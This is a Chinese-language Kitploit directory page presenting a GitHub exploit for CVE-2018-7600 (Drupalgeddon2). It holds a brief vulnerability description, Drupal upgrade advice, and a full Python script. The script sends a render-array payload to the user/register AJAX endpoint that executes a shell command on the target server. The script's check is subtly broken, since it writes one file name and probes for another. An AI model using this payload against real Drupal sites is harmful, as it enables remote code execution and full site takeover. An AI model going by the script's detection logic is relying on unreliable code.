Skip to content
KitploitKITPLOIT
工具漏洞利用博客
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2018-7600. — CVE-2018-7600。 | Kitploit
工具/GitHubGitHub/tpdlshdmlrkfmcla/cve-2018-7600.
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubtpdlshdmlrkfmcla/cve-2018-7600.

CVE-2018-7600.

CVE-2018-7600。

查看仓库
51年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

IGLOO Corp, Won Chi Hyun Drupal RCE 分析报告

Drupal RCE CVE-2018-7600

请务必将你的地址填入脚本中! 描述: 在 Drupal 7.x 和 8.x 的多个子系统中存在一个远程代码执行漏洞。该漏洞可能允许攻击者利用 Drupal 站点的多个攻击向量,从而导致站点完全被入侵。

解决方案: 升级到 Drupal 7 或 8 核心的最新版本。

如果你正在运行 7.x,请升级到 Drupal 7.58。(如果无法立即更新,你可以尝试应用此补丁来修复漏洞,直到能够完全更新为止。)如果你正在运行 8.5.x,请升级到 Drupal 8.5.1。(如果无法立即更新,你可以尝试应用此补丁来修复漏洞,直到能够完全更新为止。)

root@kitploit:~
#!/usr/bin/python2.7
'''_____________________________________________________________________
|[] R3DXPL0IT SHELL                                            |ROOT]|!"|
|"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""|"| 
|CODED BY > R3DXPLOIT(JIMMY)                                          | |
|EMAIL > [email protected]                                   | |
|GITHUB > https://github.com/r3dxpl0it                                | |
|WEB-PAGE > https://r3dxpl0it.Github.io                               |_|
|_____________________________________________________________________|/|
'''
'''
https://nvd.nist.gov/vuln/detail/CVE-2018-7600#
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7600
'''
import sys
import requests

def exploit(target):
    pass
    proxies = {}
    verify = False

    payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo "vulnerable to cve-7600-2018 exploit" | tee r3dxploit.txt'}
    url = target + '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
    print ( '[*]' + ' requesting post')
    r = requests.post(url, proxies=proxies, data=payload, verify=verify)
    try:
        scan = requests.get(target + 'vulnerable.txt')
        if scan.status_code != 200:
           print ( ' not vulnerable to cve-2018-7600 exploit \n')
        if scan.status_code == 200:
           print (' vulnerable to cve-2018-7600 exploit')
           print (' url: ' + target + 'vulnerable.txt \n')
    except requests.ConnectionError:
        print (' target connection timeout')
    except Exception as e :
        print ('Connction Failed ' + e )
				

if __name__ == '__main__':
   exploit(sys.argv[1])

代码分析.

main -> exploit

argv[1] - target 参数 scan. status_code 根据代码状态值得出结果 事件异常处理

下载工具